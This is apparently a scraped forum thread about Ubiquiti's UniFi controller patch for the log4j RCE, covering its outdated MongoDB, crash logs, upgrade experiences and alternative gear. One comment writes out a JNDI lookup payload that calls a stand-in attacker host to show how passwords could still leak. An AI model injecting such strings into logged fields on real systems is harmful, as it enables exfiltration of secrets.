This is the unifi controller service patched against the log4j rce. It's been out for a few days now; unifi claims there were no known exploitable vulnerabilities associated with log4j in the stock unifi controller configuration but released this out of an abundance of caution.
Given that unifi uses log4j, can be made to log everything, and by default logs things that users have control over such as their pc name, their mac auth username, various hotspot client parameters, the names of neighboring SSIDs, etc I find the original claim dubious but props to them for getting this out quickly.
Edit: clarified wording regarding "no known exploitable vulnerabilities"
The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.
too bad the unifi controller requires the use of a ridiculously outdated version of mongodb, to the extent that installing it to self host unifi on a debian system becomes more of a pain in the ass every year.
ubnt patched this because it's a huge highly publicized hole.
but the software stack that runs under the rest of unifi is a real mess.
people have said to me: "oh, okay, so they're trying to force people to buy their unifi security appliance or cloudkey thing, right?"
but the same very old stuff runs on those as well, if you poke around under the hood
Tell me about it. Any time the Debian machine I have running as a Unifi appliance loses power (on an XFS filesystem on a disk with write caching disabled), the mongodb database is absolutely hosed (despite no xfs corruption at all) and I need to wipe the data directory and restore from backup because mongo 3 is just such garbage. (I mean, mongodb is still garbage but it's improved a tiny bit in some reliability metrics.)
Standard from packages. After the power failure the database is unusable and I get mongo startup errors ending with “newer versions of mongo may be able to fix errors like this automatically” and it dies.
Latest 3.6, single node, WiredTiger storage engine. The fact that it’s severely outdated is exactly the point we are making.
I don’t know if it’s possible to override the version of a Debian package’s specified dependency - although I also don’t know if mongodb 5 is drop-in backwards compatible with a client written and released against v3.6.
Can you share the command line and/or the config you use to start up. We don't support any single node use of MongoDB in production BTW. It can't recover as you have found out...
To clarify again, I'm not the one starting it - Unifi ships its network appliance as a debian package that depends on mongod and starts it up itself (and it's absolutely a single node configuration). Maybe you guys should have a talk with them :)
This is what monogd.log contains when started:
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] MongoDB starting : pid=7531 port=27117 dbpath=/usr/lib/unifi/data/db 64-bit host=unifi
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] db version v3.6.20
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] git version: 39c200878284912f19553901a6fea4b31531a899
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] OpenSSL version: OpenSSL 1.1.1d 10 Sep 2019
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] allocator: tcmalloc
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] modules: none
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] build environment:
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] distmod: debian92
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] distarch: x86_64
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] target_arch: x86_64
2020-09-24T21:18:54.231-0500 I CONTROL [initandlisten] options: { net: { bindIp: "127.0.0.1", port: 27117, unixDomainSocket: { pathPrefix: "/usr/lib/unifi/run" } }, processManagement: { pidFilePath: "/usr/lib/unifi/run/mongod.pid" }, storage: { dbPath: "/usr/lib/unifi/data/db" }, systemLog: { destination: "file", logAppend: true, logRotate: "reopen", path: "/usr/lib/unifi/logs/mongod.log" } }
2020-09-24T21:18:54.231-0500 I STORAGE [initandlisten] wiredtiger_open config: create,cache_size=256M,cache_overflow=(file_max=0M),session_max=20000,eviction=(threads_min=4,threads_max=4),config_base=false,statistics=(fast),compatibility=(release="3.0",require_max="3.0"),log=(enabled=true,archive=true,path=journal,compressor=snappy),file_manager=(close_idle_time=100000),statistics_log=(wait=0),verbose=(recovery_progress),
021-12-07T19:05:23.822-0600 I CONTROL [initandlisten] options: { net: { bindIp: "127.0.0.1", port: 27117, unixDomainSocket: { pathPrefix: "/usr/lib/unifi/run" } }, processManagement: { pidFilePath: "/usr/lib/unifi/run/mongod.pid" }, storage: { dbPath: "/usr/lib/unifi/data/db", wiredTiger: { engineConfig: { configString: "cache_size=256M" } } }, systemLog: { destination: "file", logAppend: true, logRotate: "reopen", path: "/usr/lib/unifi/logs/mongod.log" } }
2021-12-07T19:05:23.822-0600 I - [initandlisten] Detected data files in /usr/lib/unifi/data/db created by the 'wiredTiger' storage engine, so setting the active storage engine to 'wiredTiger'.
2021-12-07T19:05:23.822-0600 I STORAGE [initandlisten] wiredtiger_open config: create,cache_size=256M,cache_overflow=(file_max=0M),session_max=20000,eviction=(threads_min=4,threads_max=4),config_base=false,statistics=(fast),compatibility=(release="3.0",require_max="3.0"),log=(enabled=true,archive=true,path=journal,compressor=snappy),file_manager=(close_idle_time=100000),statistics_log=(wait=0),verbose=(recovery_progress),cache_size=256M
2021-12-07T19:05:24.339-0600 E STORAGE [initandlisten] WiredTiger error (-31802) [1638925524:339440][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 604: unable to read root page from file:WiredTiger.wt: WT_ERROR: non-specific WiredTiger error Raw: [1638925524:339440][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 604: unable to read root page from file:WiredTiger.wt: WT_ERROR: non-specific WiredTiger error
2021-12-07T19:05:24.339-0600 E STORAGE [initandlisten] WiredTiger error (0) [1638925524:339475][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 611: WiredTiger has failed to open its metadata Raw: [1638925524:339475][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 611: WiredTiger has failed to open its metadata
2021-12-07T19:05:24.339-0600 E STORAGE [initandlisten] WiredTiger error (0) [1638925524:339483][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 614: This may be due to the database files being encrypted, being from an older version or due to corruption on disk Raw: [1638925524:339483][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 614: This may be due to the database files being encrypted, being from an older version or due to corruption on disk
2021-12-07T19:05:24.339-0600 E STORAGE [initandlisten] WiredTiger error (0) [1638925524:339489][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 617: You should confirm that you have opened the database with the correct options including all encryption and compression options Raw: [1638925524:339489][1327:0x7f952058b400], file:WiredTiger.wt, connection: __wt_btree_tree_open, 617: You should confirm that you have opened the database with the correct options including all encryption and compression options
2021-12-07T19:05:24.340-0600 F STORAGE [initandlisten] WiredTiger metadata corruption detected
2021-12-07T19:05:24.340-0600 F STORAGE [initandlisten] This version of MongoDB is unable to repair this kind of corruption, but version 4.0.3+ may be able to repair it. See http://dochub.mongodb.org/core/repair for more information.
2021-12-07T19:05:24.340-0600 F - [initandlisten] Fatal Assertion 50944 at src/mongo/db/storage/wiredtiger/wiredtiger_util.cpp 71
2021-12-07T19:05:24.340-0600 F - [initandlisten] \n\n***aborting after fassert() failure\n\n
It's device agnostic; this is from the controller software that manages all the Unifi devices on your network. This was the latest version of the controller, available on their website as "UniFi Network Application 6.5.55 for Debian/Ubuntu Linux and UniFi Cloud Key" (Cloud Key is the appliance they ship that simply runs Debian w/ the package installed).
My email is mqudsi at neosmart dot net; I'd love if you could let me know what happens.
I know right? Each time I have to fight to get this working on linux (or pfSense/opnsense) I dream of making a small opensource Unifi controller replacement written in Go. Just something basic to manage my access points (no USG, etc.)
Somebody started doing this. Shame they chose PHP though.
OpenWISP (https://openwisp.org) tries to do this and it's Python and Django based.
Last time I checked it out, it seems like they keep configuration in an intermediate format that is then translated to manufacturer-specific formats, so it should be possible to build a Unifi converter for that.
In this case, it might be nice to add to the title, " fixing recent log4j RCE".
Nice to see they are getting this out and patched. Can folks familiar with UniFi, say how reliable (and easy) upgrades are on the Ubiquiti gear? I'm considering getting some of their hardware.
My big problem with Ubnt is things like trying to force me to create and use a cloud account just to use my local hardware. I did not, but a couple different times they tried to make it mandatory.
To me it's not good enough that I was able to get around that. To me it's a problem that they even tried, that they would if they could. That means my win is only temporary and every day they are trying to figure out a way to get what they want, and every day might be the day they essentially break my stuff.
But I've had a pretty good experience with the hardware and software all in all. I run a cloud key, the old original one. It was annoying paying so much for so little, and annoying needing anything at all just for that, and annoying that it makes my 24 port switch effectively a 23 port (I see it as robbing a port because it's not like any other device which does some job I want. The devices all run full freaking linux OSs. They have way more than enough brains on board to hold their own config settings!), but I can't say it ever failed.
But I only use switches and aps. No cams and definitely no router. That's another case where it's only been fine for me because I'm not doing what they want.
There have been a few different times over the last few years where I was glad I never even made an account on their cloud service let alone actually configured a device, and glad my router is opnsense.
So there are things I don't like, but failed updates and non-function has not been among them.
Lots of networking folks play with UniFi at home the way server folks play with Raspberry Pi clusters.
From stories, it seems if you use stable release track, it’s reliable enough to leave on auto-updates. Some folks do the same for the release candidates, some even for betas. But the more you’ve custom configured, the less likely that’s going to go perfectly every time.
Reasonably easy to restore after a bad update though.
That said, depending on your use case, for “reliable (and easy) upgrades” consider Eero Pro kit with 3 bases of 3 radios each.
I've had issues with upgrades in the past. AP-AC-Pro (2), Switch, USG.
For devices like these, I would never allow auto-update. I update when I have the time to sort out any failures and I know I don't need access to the internet.
You’re out of town for a weekend, you have one busy weekend at a bad time, you upgrade but don’t realize something is broken until the shit hits the fan later that week.
It is home network. There is no need to obsess. I can pull out an old router and have it perfectly functional in 0,5h to support my and my family's remote work/school needs.
Fair enough. Exactly because it is for home use, that wouldn’t work for me. I can’t do that; I would stop everything and risk prolonging the downtime to fix it right then and there, even if it’s a terribly bad time.
I have a Cloud Key Gen2 Plus. Updates are super easy via the web U/I and system settings. In there you can update the individual apps like network and protect as well as the core for the UCK-G2-Plus.
>Can folks familiar with UniFi, say how reliable (and easy) upgrades are on the Ubiquiti gear? I'm considering getting some of their hardware.
Running upgrades is certainly easy, always has been a feature of it. But "reliable" isn't a word I'd use for them any longer, internally the company is an absolute dumpster fire with toxic and unaccountable leadership. Upgrade tracks themselves are a total mess now, and whether a given firmware upgrade goes well or introduces new edge cases is a crapshoot. There is essentially zero useful bug/feature tracking system, all nuked along with the great old forums in favor of their current garbage. For the controller itself it's textbook bikeshedding, they keep redoing the UI and making it worse without adding basic features asked for (and in the old days even confirmed as accepted!) years and years ago. Also, a lot of their hardware is ancient now despite selling for the same price (I suppose inflation represents a stealth price cut to some extent).
All that said, if you're only interested in WiFi and Switching it still mostly works albeit whether their current engineering can keep up with the sudden shifts is an open question. And the basic stuff is pretty cheap, reasonably performant overall, and has nice physical design. If you don't use them for routing/firewall/services (where they are utter garbage) but run that via something like OPNsense or VyOS or whatever you like instead, then a lot of the downsides go away or become manageable. Having devices be on a management VLAN and isolated controller is trivial and goes some ways towards helping any security flaws as well.
I'd still hesitate to recommend them for greenfield projects though. But unfortunately there also isn't anything else I can point to and just say "yep that's the drop-in replacement", industry is depressing right now with all the either total isolated individual web management on the one extreme or cloud-subscription-tie-in on the other. UniFi's strengths and model doesn't have an obvious successor. I remember some news that Cisco seemed to be aiming right at them, but haven't been able to locate it again? There are a few other self-hosted options apparently but I at least haven't been able to quite figure out their licensing and limitations yet.
Edit: I'll also add in fairness that even if an upgrade is junk, I've never not been able to recover. Recovery has absolutely been a bit hair-raising on occasion, particularly when the controller once hit its 4GB log limit IIRC and silently corrupted itself then backups for months, but even there I still managed to manually get into mongo and get controller config back out. Just keep an eye on your backup system there. And even super dead devices I've so far over the years always managed to get back with at worst TFTP. In that regard it's been pretty solid though again routing aside.
I seem to have been an outlier, but 3-5 years ago I went all in on Ubiquiti, except for APs, about a year ago pulled it completely out, partly because of problems with updates:
- One switch update enabled some sort of loop detection which broke the Google Wireless meshing with Ethernet backhaul, and their support people, after several attempts, proclaimed was not something that could be disabled. Fixed it by putting in a dumb Netgear switch that only connected the Google mesh nodes, but disappointing to find on a $400 "Prosumer" switch.
- One set of camera updates left 4 of my 5 cameras unbootable and support was unable to provide a solution for. This was after their warranty period, so I have them sitting around because I can't quite bring myself to throw them away.
I replaced the switch with a used Aruba PoE switch ($90), the cameras with a Montavue (VAR for HIKVision cameras), and BlueIris setup. It pained me because the Unifi Protect mobile app really was best in breed, but not too much because I frequently had issues with the cameras reliably booting, and would have to go through rebooting cameras for a few days after updates or a power loss.
I'd recommend Ruckus R610 used gear for wireless, though for the last ~6 months the prices on them have doubled -- I got one 9 months ago for $150 landed, and now they all seem to be more like $300+. Fantastic APs though.
Sadly, both HikVision and Daihua have apparently produced hardware for the Chinese government to help them do facial recognition on the Uighur population, and otherwise commit atrocities against them.
And both HikVision and Daihua have a large array of brand names that they sell under:
The crazy thing about this to me is that Chinese spy hardware is actually the best defense against the US Gov spyware if you live in the US. There is less reason to care if China is spying on you, they are not going to suddenly arrest you. The US governments will though.
To be fair, is there a network camera that isn't complete garbage when it comes to security? I've just accepted that there isn't and always recommend having them on a separate VLAN segregated from the rest of the network and access is controlled by a bastion host which only allows trusted machines to connect.
You kind of did the very opposite of what you’re supposed to do. Used enterprise hardware for core infrastructure (Cisco/HP/Dell with SFP+ ports), pfSense or similar for a gateway/router, and UniFi just for the UAP access points, away from your core network.
I’ve had regular issues with the software. Every few versions of the AP firmware seems to break mDNS. All wired clients in the VLAN will see the multicast packets but none of the wireless clients will. Super frustrating since it breaks Chromecast and airplay. Luckily when I upgrade to a broken firmware it’s easy enough to downgrade to a working version.
People complain a lot but I’ve run a unifi stack for years for my home network and my parents with auto updates on across a lot of devices and have had zero issues.
Note to anyone upgrading from an older controller (6.2, in my case). It took a LONG time for the console to finishing all the behind the scenes stuff. All my devices were "offline" for a good 10 minutes. Just as I was about to reinstall the old version (which I run in a docker container), the new version came to life.
Perhaps it takes longer if there is a lot of data to migrate? A larger network and longer running time would cause that I imagine (ie. someone "all in" on Unifi for years vs someone with one AP for a few months).
Since I bought into the Omada system due to the HN hive-mind shifting against Ubiquiti, I'll take this opportunity to write about the experience.
The system is obviously inspired by Ubiquiti. The hardware seems good, I quite like the wall-mount APs that have a 3-port ethernet switch on the bottom. Be warned that there is different hardware between the similarly-priced wall and ceiling APs - the wall-mount ones have supposedly inferior Mediatek chipsets. The software controller is okay. It has pretty basic features. It doesn't have a real-time per-client bandwidth utilization view, you have to refresh the tabular data screen to see what's using bandwidth. It runs fine without creating a TP-link account and you can control it on the same network with a phone app. You need to create a TP-link account to have the controller check for and download firmware updates. They do provide debs for the Linux controller software, but don't have a repository so you need to update with other means.
The firmware that the router shipped with had a bug that caused attempted firmware updates to fail, and it would then become unresponsive to the controller. Couldn't even reboot it, had to go in-person and power cycle it. Did eventually get it to update by doing it right after rebooting.
I tried to use WiFi rate control to push slow/low-signal 5GHz devices to the 2.4GHz bands, so the remaining devices could use the full data rate. This caused iPhones to regularly determine the WiFi wasn't working and disconnect.
Overall: its' fine. The hardware is a great value. I'm not convinced that TP-Link's software support or security is going to be any better than Ubiquiti's.
Have you tried enabling ipv6 on your WAN and then also on the main LAN (SLAAC, not passthrough)? Mine will work for a couple ours up to a day and then no network requests will work for a few minutes, even the hardware controller is unreachable for that time.
For the uninitiated, what is the role of a controller in UniFi system? Is it always needed?
I recently bought myself an old, unsupported UniFi AP LR and set it up with a phone app, which, I presume, is a controller too? Chose UniFi to boost signal strength of my home network; works smoothly so far.
The controller also hooks into their switches, security gateways, etc to give you a single interface to control all the Ubiquiti gear on your network. If you just have their access points, the only reasons you might want to run it after getting the APs configured are checking the status of things and logging (for example, I can work out the schedule for a local wifi-enabled bus service by seeing when their access points were visible to my access points.)
Once your APs are configured, you can shut the controller down and they will hum along just fine. I imagine the phone app you used accomplishes much the same thing.
FWIW the official docker image for 6.5.53 version (the one that I'm currently running) already partially workaround the log4j security issue by adding `-Dlog4j2.formatMsgNoLookups=true` to java CLI.
We abandoned this ecosystem a few weeks ago because the complexity of managing basic wifi access points was insufferable.
It took 8 hours of manually installing firmware over SSH for us to decide we had wasted enough time. We just bought some cheap ass tplink units and solved the problem in 10 minutes.
61 comments
[ 2.7 ms ] story [ 145 ms ] threadGiven that unifi uses log4j, can be made to log everything, and by default logs things that users have control over such as their pc name, their mac auth username, various hotspot client parameters, the names of neighboring SSIDs, etc I find the original claim dubious but props to them for getting this out quickly.
Edit: clarified wording regarding "no known exploitable vulnerabilities"
ubnt patched this because it's a huge highly publicized hole.
but the software stack that runs under the rest of unifi is a real mess.
people have said to me: "oh, okay, so they're trying to force people to buy their unifi security appliance or cloudkey thing, right?"
but the same very old stuff runs on those as well, if you poke around under the hood
3.0 is a pretty old version. Most 3.x versions are end of life or unsupported.
I don’t know if it’s possible to override the version of a Debian package’s specified dependency - although I also don’t know if mongodb 5 is drop-in backwards compatible with a client written and released against v3.6.
This is what monogd.log contains when started:
My email is mqudsi at neosmart dot net; I'd love if you could let me know what happens.
Somebody started doing this. Shame they chose PHP though.
https://github.com/imperian-systems/unifi-controller
Last time I checked it out, it seems like they keep configuration in an intermediate format that is then translated to manufacturer-specific formats, so it should be possible to build a Unifi converter for that.
Nice to see they are getting this out and patched. Can folks familiar with UniFi, say how reliable (and easy) upgrades are on the Ubiquiti gear? I'm considering getting some of their hardware.
All hosted on debian.
I've had just one update go bad, so I do do the recommended backup/export beforehand.
That said, I don't trust Ubiquity much anymore. Use Unifi in QA setups so we are prone to hit cornercases, but they exists.
I still buy their gear as there is no competitors in the price range.
Edit: Spelling
My big problem with Ubnt is things like trying to force me to create and use a cloud account just to use my local hardware. I did not, but a couple different times they tried to make it mandatory.
To me it's not good enough that I was able to get around that. To me it's a problem that they even tried, that they would if they could. That means my win is only temporary and every day they are trying to figure out a way to get what they want, and every day might be the day they essentially break my stuff.
But I've had a pretty good experience with the hardware and software all in all. I run a cloud key, the old original one. It was annoying paying so much for so little, and annoying needing anything at all just for that, and annoying that it makes my 24 port switch effectively a 23 port (I see it as robbing a port because it's not like any other device which does some job I want. The devices all run full freaking linux OSs. They have way more than enough brains on board to hold their own config settings!), but I can't say it ever failed.
But I only use switches and aps. No cams and definitely no router. That's another case where it's only been fine for me because I'm not doing what they want.
There have been a few different times over the last few years where I was glad I never even made an account on their cloud service let alone actually configured a device, and glad my router is opnsense.
So there are things I don't like, but failed updates and non-function has not been among them.
From stories, it seems if you use stable release track, it’s reliable enough to leave on auto-updates. Some folks do the same for the release candidates, some even for betas. But the more you’ve custom configured, the less likely that’s going to go perfectly every time.
Reasonably easy to restore after a bad update though.
That said, depending on your use case, for “reliable (and easy) upgrades” consider Eero Pro kit with 3 bases of 3 radios each.
For devices like these, I would never allow auto-update. I update when I have the time to sort out any failures and I know I don't need access to the internet.
Running upgrades is certainly easy, always has been a feature of it. But "reliable" isn't a word I'd use for them any longer, internally the company is an absolute dumpster fire with toxic and unaccountable leadership. Upgrade tracks themselves are a total mess now, and whether a given firmware upgrade goes well or introduces new edge cases is a crapshoot. There is essentially zero useful bug/feature tracking system, all nuked along with the great old forums in favor of their current garbage. For the controller itself it's textbook bikeshedding, they keep redoing the UI and making it worse without adding basic features asked for (and in the old days even confirmed as accepted!) years and years ago. Also, a lot of their hardware is ancient now despite selling for the same price (I suppose inflation represents a stealth price cut to some extent).
All that said, if you're only interested in WiFi and Switching it still mostly works albeit whether their current engineering can keep up with the sudden shifts is an open question. And the basic stuff is pretty cheap, reasonably performant overall, and has nice physical design. If you don't use them for routing/firewall/services (where they are utter garbage) but run that via something like OPNsense or VyOS or whatever you like instead, then a lot of the downsides go away or become manageable. Having devices be on a management VLAN and isolated controller is trivial and goes some ways towards helping any security flaws as well.
I'd still hesitate to recommend them for greenfield projects though. But unfortunately there also isn't anything else I can point to and just say "yep that's the drop-in replacement", industry is depressing right now with all the either total isolated individual web management on the one extreme or cloud-subscription-tie-in on the other. UniFi's strengths and model doesn't have an obvious successor. I remember some news that Cisco seemed to be aiming right at them, but haven't been able to locate it again? There are a few other self-hosted options apparently but I at least haven't been able to quite figure out their licensing and limitations yet.
Edit: I'll also add in fairness that even if an upgrade is junk, I've never not been able to recover. Recovery has absolutely been a bit hair-raising on occasion, particularly when the controller once hit its 4GB log limit IIRC and silently corrupted itself then backups for months, but even there I still managed to manually get into mongo and get controller config back out. Just keep an eye on your backup system there. And even super dead devices I've so far over the years always managed to get back with at worst TFTP. In that regard it's been pretty solid though again routing aside.
- One switch update enabled some sort of loop detection which broke the Google Wireless meshing with Ethernet backhaul, and their support people, after several attempts, proclaimed was not something that could be disabled. Fixed it by putting in a dumb Netgear switch that only connected the Google mesh nodes, but disappointing to find on a $400 "Prosumer" switch.
- One set of camera updates left 4 of my 5 cameras unbootable and support was unable to provide a solution for. This was after their warranty period, so I have them sitting around because I can't quite bring myself to throw them away.
I replaced the switch with a used Aruba PoE switch ($90), the cameras with a Montavue (VAR for HIKVision cameras), and BlueIris setup. It pained me because the Unifi Protect mobile app really was best in breed, but not too much because I frequently had issues with the cameras reliably booting, and would have to go through rebooting cameras for a few days after updates or a power loss.
I'd recommend Ruckus R610 used gear for wireless, though for the last ~6 months the prices on them have doubled -- I got one 9 months ago for $150 landed, and now they all seem to be more like $300+. Fantastic APs though.
Sharing this most recent one cos HN loves cited sources but there's a ton of independent issues
https://www.forbes.com/sites/leemathews/2021/09/22/widely-us...
And both HikVision and Daihua have a large array of brand names that they sell under:
See: https://ipvm.com/reports/hik-oems-dir and https://ipvm.com/reports/dahua-oem
I upgraded from 5.14.23 to 6.5.54, and it took under a minute to update.
The system is obviously inspired by Ubiquiti. The hardware seems good, I quite like the wall-mount APs that have a 3-port ethernet switch on the bottom. Be warned that there is different hardware between the similarly-priced wall and ceiling APs - the wall-mount ones have supposedly inferior Mediatek chipsets. The software controller is okay. It has pretty basic features. It doesn't have a real-time per-client bandwidth utilization view, you have to refresh the tabular data screen to see what's using bandwidth. It runs fine without creating a TP-link account and you can control it on the same network with a phone app. You need to create a TP-link account to have the controller check for and download firmware updates. They do provide debs for the Linux controller software, but don't have a repository so you need to update with other means.
The firmware that the router shipped with had a bug that caused attempted firmware updates to fail, and it would then become unresponsive to the controller. Couldn't even reboot it, had to go in-person and power cycle it. Did eventually get it to update by doing it right after rebooting.
I tried to use WiFi rate control to push slow/low-signal 5GHz devices to the 2.4GHz bands, so the remaining devices could use the full data rate. This caused iPhones to regularly determine the WiFi wasn't working and disconnect.
Overall: its' fine. The hardware is a great value. I'm not convinced that TP-Link's software support or security is going to be any better than Ubiquiti's.
I recently bought myself an old, unsupported UniFi AP LR and set it up with a phone app, which, I presume, is a controller too? Chose UniFi to boost signal strength of my home network; works smoothly so far.
Once your APs are configured, you can shut the controller down and they will hum along just fine. I imagine the phone app you used accomplishes much the same thing.
It took 8 hours of manually installing firmware over SSH for us to decide we had wasted enough time. We just bought some cheap ass tplink units and solved the problem in 10 minutes.